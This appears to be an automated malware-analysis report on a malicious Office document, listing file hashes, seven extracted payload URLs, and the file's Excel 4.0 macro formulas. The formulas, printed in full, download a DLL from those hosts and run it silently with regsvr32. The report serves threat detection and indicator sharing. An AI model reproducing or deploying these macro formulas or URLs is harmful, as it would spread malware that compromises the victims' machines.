General
-
Target
9c169ca388a7a887788bc93a019fda990522807ef96295fcca4f095d83887294
-
Size
73KB
-
MD5
63bbc9ecc8f888cc4dae01d99cb8cc03
-
SHA1
0caf6e088305e5b6c60b86098c88c322689a624b
-
SHA256
9c169ca388a7a887788bc93a019fda990522807ef96295fcca4f095d83887294
-
SHA512
33a9d5e5d7fd8b38a710da323103d93d346b4e2364951caf2d40f9eba70dced707fa17a1135237cc95efb2032cd3d7d18e920176a5d0cc7a60654e2f98bf9f0c
-
SSDEEP
1536:2LgT1WiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlV6BD:x1WiCtzSmICpH7OZuvZGsM0
Malware Config
Extracted
https://www.ankeoman.com/undercons_files/l88ETG/
http://atbiotique.com/images/Luf2JK8NAHSkvg3H83g/
http://atacelikyapi.com/css/SOiiHs8wmjzlWoO/
http://atsyemek.com/test/QaMcxcqLPFHX/
http://atozams.com/app/d24BUaSin4NuT/
http://aureadesign.net/1U3/
http://www.anzizasalema.com/cms/wX6lkpSHjeEPO81/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.ankeoman.com/undercons_files/l88ETG/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atbiotique.com/images/Luf2JK8NAHSkvg3H83g/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atacelikyapi.com/css/SOiiHs8wmjzlWoO/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atsyemek.com/test/QaMcxcqLPFHX/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://atozams.com/app/d24BUaSin4NuT/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aureadesign.net/1U3/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.anzizasalema.com/cms/wX6lkpSHjeEPO81/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
9c169ca388a7a887788bc93a019fda990522807ef96295fcca4f095d83887294